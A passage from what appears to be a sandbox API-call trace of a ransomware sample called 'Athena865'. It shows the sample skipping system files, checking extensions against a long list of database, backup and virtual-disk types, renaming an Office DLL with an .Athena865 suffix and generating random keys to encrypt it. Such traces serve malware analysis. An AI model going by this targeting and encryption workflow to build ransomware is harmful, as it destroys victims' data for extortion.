lpString2="sdc") returned -1 [0066.706] lstrlenW (lpString="sdf") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.707] lstrlenW (lpString="sis") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.707] lstrlenW (lpString="spq") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.707] lstrlenW (lpString="te") returned 2 [0066.707] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.707] lstrlenW (lpString="teacher") returned 7 [0066.707] lstrcmpiW (lpString1="WIZ.DLL", lpString2="teacher") returned 1 [0066.707] lstrlenW (lpString="tmd") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.707] lstrlenW (lpString="tps") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.707] lstrlenW (lpString="trc") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.707] lstrlenW (lpString="trc") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.707] lstrlenW (lpString="trm") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.707] lstrlenW (lpString="udb") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.707] lstrlenW (lpString="udl") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.707] lstrlenW (lpString="usr") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.707] lstrlenW (lpString="v12") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.707] lstrlenW (lpString="vis") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.707] lstrlenW (lpString="vpd") returned 3 [0066.707] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.708] lstrlenW (lpString="vvv") returned 3 [0066.709] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.709] lstrlenW (lpString="wdb") returned 3 [0066.709] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.709] lstrlenW (lpString="wmdb") returned 4 [0066.709] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.709] lstrlenW (lpString="wrk") returned 3 [0066.710] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.710] lstrlenW (lpString="xdb") returned 3 [0066.710] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.710] lstrlenW (lpString="xld") returned 3 [0066.710] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.710] lstrlenW (lpString="xmlff") returned 5 [0066.710] lstrcmpiW (lpString1="Z.DLL", lpString2="xmlff") returned 1 [0066.710] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.Athena865") returned 63 [0066.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.athena865"), dwFlags=0x1) returned 1 [0066.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0066.712] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=210304) returned 1 [0066.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.712] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.713] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.713] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.713] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33880, lpName=0x0) returned 0x17c [0066.714] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33880) returned 0x170000 [0066.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0066.726] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.726] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0066.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0066.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.727] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0066.729] CloseHandle (hObject=0x17c) returned 1 [0066.729] CloseHandle (hObject=0x154) returned 1 [0066.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.729] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.730] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".") returned 1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="..") returned 1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="windows") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="bootmgr") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="temp") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="pagefile.sys") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="boot") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ids.txt") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="ntuser.dat") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="perflogs") returned -1 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2="MSBuild") returned -1 [0066.730] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0066.730] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACEDAO.DLL" | out: lpString1="ACEDAO.DLL") returned="ACEDAO.DLL" [0066.730] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0066.730] lstrlenW (lpString="Athena865") returned 9 [0066.730] lstrcmpiW (lpString1="CEDAO.DLL", lpString2="Athena865") returned 1 [0066.730] lstrlenW (lpString=".dll") returned 4 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".dll") returned 1 [0066.730] lstrlenW (lpString=".lnk") returned 4 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".lnk") returned 1 [0066.730] lstrlenW (lpString=".ini") returned 4 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".ini") returned 1 [0066.730] lstrlenW (lpString=".sys") returned 4 [0066.730] lstrcmpiW (lpString1="ACEDAO.DLL", lpString2=".sys") returned 1 [0066.730] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0066.731] lstrlenW (lpString="bak") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.731] lstrlenW (lpString="ba_") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.731] lstrlenW (lpString="dbb") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.731] lstrlenW (lpString="vmdk") returned 4 [0066.731] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.731] lstrlenW (lpString="rar") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.731] lstrlenW (lpString="zip") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.731] lstrlenW (lpString="tgz") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.731] lstrlenW (lpString="vbox") returned 4 [0066.731] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.731] lstrlenW (lpString="vdi") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.731] lstrlenW (lpString="vhd") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.731] lstrlenW (lpString="vhdx") returned 4 [0066.731] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.731] lstrlenW (lpString="avhd") returned 4 [0066.731] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.731] lstrlenW (lpString="db") returned 2 [0066.731] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.731] lstrlenW (lpString="db2") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.731] lstrlenW (lpString="db3") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.731] lstrlenW (lpString="dbf") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.731] lstrlenW (lpString="mdf") returned 3 [0066.731] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.732] lstrlenW (lpString="mdb") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.732] lstrlenW (lpString="sql") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.732] lstrlenW (lpString="sqlite") returned 6 [0066.732] lstrcmpiW (lpString1="AO.DLL", lpString2="sqlite") returned -1 [0066.732] lstrlenW (lpString="sqlite3") returned 7 [0066.732] lstrcmpiW (lpString1="DAO.DLL", lpString2="sqlite3") returned -1 [0066.732] lstrlenW (lpString="sqlitedb") returned 8 [0066.732] lstrcmpiW (lpString1="EDAO.DLL", lpString2="sqlitedb") returned -1 [0066.732] lstrlenW (lpString="xml") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.732] lstrlenW (lpString="$er") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.732] lstrlenW (lpString="4dd") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.732] lstrlenW (lpString="4dl") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.732] lstrlenW (lpString="^^^") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.732] lstrlenW (lpString="abs") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.732] lstrlenW (lpString="abx") returned 3 [0066.732] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.732] lstrlenW (lpString="accdb") returned 5 [0066.732] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0066.732] lstrlenW (lpString="accdc") returned 5 [0066.732] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0066.732] lstrlenW (lpString="accde") returned 5 [0066.732] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0066.732] lstrlenW (lpString="accdr") returned 5 [0066.732] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0066.732] lstrlenW (lpString="accdt") returned 5 [0066.733] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0066.733] lstrlenW (lpString="accdw") returned 5 [0066.733] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0066.733] lstrlenW (lpString="accft") returned 5 [0066.733] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0066.733] lstrlenW (lpString="adb") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.733] lstrlenW (lpString="adb") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.733] lstrlenW (lpString="ade") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.733] lstrlenW (lpString="adf") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.733] lstrlenW (lpString="adn") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.733] lstrlenW (lpString="adp") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.733] lstrlenW (lpString="alf") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.733] lstrlenW (lpString="ask") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.733] lstrlenW (lpString="btr") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.733] lstrlenW (lpString="cat") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.733] lstrlenW (lpString="cdb") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.733] lstrlenW (lpString="ckp") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.733] lstrlenW (lpString="cma") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.733] lstrlenW (lpString="cpd") returned 3 [0066.733] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.733] lstrlenW (lpString="dacpac") returned 6 [0066.733] lstrcmpiW (lpString1="AO.DLL", lpString2="dacpac") returned -1 [0066.734] lstrlenW (lpString="dad") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.734] lstrlenW (lpString="dadiagrams") returned 10 [0066.734] lstrlenW (lpString="daschema") returned 8 [0066.734] lstrcmpiW (lpString1="EDAO.DLL", lpString2="daschema") returned 1 [0066.734] lstrlenW (lpString="db-journal") returned 10 [0066.734] lstrlenW (lpString="db-shm") returned 6 [0066.734] lstrcmpiW (lpString1="AO.DLL", lpString2="db-shm") returned -1 [0066.734] lstrlenW (lpString="db-wal") returned 6 [0066.734] lstrcmpiW (lpString1="AO.DLL", lpString2="db-wal") returned -1 [0066.734] lstrlenW (lpString="dbc") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.734] lstrlenW (lpString="dbs") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.734] lstrlenW (lpString="dbt") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.734] lstrlenW (lpString="dbv") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.734] lstrlenW (lpString="dbx") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.734] lstrlenW (lpString="dcb") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.734] lstrlenW (lpString="dct") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.734] lstrlenW (lpString="dcx") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.734] lstrlenW (lpString="ddl") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.734] lstrlenW (lpString="dlis") returned 4 [0066.734] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.734] lstrlenW (lpString="dp1") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.734] lstrlenW (lpString="dqy") returned 3 [0066.734] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.734] lstrlenW (lpString="dsk") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.735] lstrlenW (lpString="dsn") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.735] lstrlenW (lpString="dtsx") returned 4 [0066.735] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.735] lstrlenW (lpString="dxl") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.735] lstrlenW (lpString="eco") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.735] lstrlenW (lpString="ecx") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.735] lstrlenW (lpString="edb") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.735] lstrlenW (lpString="epim") returned 4 [0066.735] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.735] lstrlenW (lpString="fcd") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.735] lstrlenW (lpString="fdb") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.735] lstrlenW (lpString="fic") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.735] lstrlenW (lpString="flexolibrary") returned 12 [0066.735] lstrlenW (lpString="fm5") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.735] lstrlenW (lpString="fmp") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.735] lstrlenW (lpString="fmp12") returned 5 [0066.735] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0066.735] lstrlenW (lpString="fmpsl") returned 5 [0066.735] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0066.735] lstrlenW (lpString="fol") returned 3 [0066.735] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.735] lstrlenW (lpString="fp3") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.736] lstrlenW (lpString="fp4") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.736] lstrlenW (lpString="fp5") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.736] lstrlenW (lpString="fp7") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.736] lstrlenW (lpString="fpt") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.736] lstrlenW (lpString="frm") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.736] lstrlenW (lpString="gdb") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.736] lstrlenW (lpString="gdb") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.736] lstrlenW (lpString="grdb") returned 4 [0066.736] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.736] lstrlenW (lpString="gwi") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.736] lstrlenW (lpString="hdb") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.736] lstrlenW (lpString="his") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.736] lstrlenW (lpString="ib") returned 2 [0066.736] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.736] lstrlenW (lpString="idb") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.736] lstrlenW (lpString="ihx") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.736] lstrlenW (lpString="itdb") returned 4 [0066.736] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.736] lstrlenW (lpString="itw") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.736] lstrlenW (lpString="jet") returned 3 [0066.736] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.737] lstrlenW (lpString="jtx") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.737] lstrlenW (lpString="kdb") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.737] lstrlenW (lpString="kexi") returned 4 [0066.737] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.737] lstrlenW (lpString="kexic") returned 5 [0066.737] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0066.737] lstrlenW (lpString="kexis") returned 5 [0066.737] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0066.737] lstrlenW (lpString="lgc") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.737] lstrlenW (lpString="lwx") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.737] lstrlenW (lpString="maf") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.737] lstrlenW (lpString="maq") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.737] lstrlenW (lpString="mar") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.737] lstrlenW (lpString="marshal") returned 7 [0066.737] lstrcmpiW (lpString1="DAO.DLL", lpString2="marshal") returned -1 [0066.737] lstrlenW (lpString="mas") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.737] lstrlenW (lpString="mav") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.737] lstrlenW (lpString="maw") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.737] lstrlenW (lpString="mdbhtml") returned 7 [0066.737] lstrcmpiW (lpString1="DAO.DLL", lpString2="mdbhtml") returned -1 [0066.737] lstrlenW (lpString="mdn") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.737] lstrlenW (lpString="mdt") returned 3 [0066.737] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.737] lstrlenW (lpString="mfd") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.738] lstrlenW (lpString="mpd") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.738] lstrlenW (lpString="mrg") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.738] lstrlenW (lpString="mud") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.738] lstrlenW (lpString="mwb") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.738] lstrlenW (lpString="myd") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.738] lstrlenW (lpString="ndf") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.738] lstrlenW (lpString="nnt") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.738] lstrlenW (lpString="nrmlib") returned 6 [0066.738] lstrcmpiW (lpString1="AO.DLL", lpString2="nrmlib") returned -1 [0066.738] lstrlenW (lpString="ns2") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.738] lstrlenW (lpString="ns3") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.738] lstrlenW (lpString="ns4") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.738] lstrlenW (lpString="nsf") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.738] lstrlenW (lpString="nv") returned 2 [0066.738] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.738] lstrlenW (lpString="nv2") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.738] lstrlenW (lpString="nwdb") returned 4 [0066.738] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.738] lstrlenW (lpString="nyf") returned 3 [0066.738] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.738] lstrlenW (lpString="odb") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.739] lstrlenW (lpString="odb") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.739] lstrlenW (lpString="oqy") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.739] lstrlenW (lpString="ora") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.739] lstrlenW (lpString="orx") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.739] lstrlenW (lpString="owc") returned 3 [0066.739] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.740] lstrlenW (lpString="p96") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.740] lstrlenW (lpString="p97") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.740] lstrlenW (lpString="pan") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.740] lstrlenW (lpString="pdb") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.740] lstrlenW (lpString="pdm") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.740] lstrlenW (lpString="pnz") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.740] lstrlenW (lpString="qry") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.740] lstrlenW (lpString="qvd") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.740] lstrlenW (lpString="rbf") returned 3 [0066.740] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.740] lstrlenW (lpString="rctd") returned 4 [0066.740] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.740] lstrlenW (lpString="rod") returned 3 [0066.741] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.741] lstrlenW 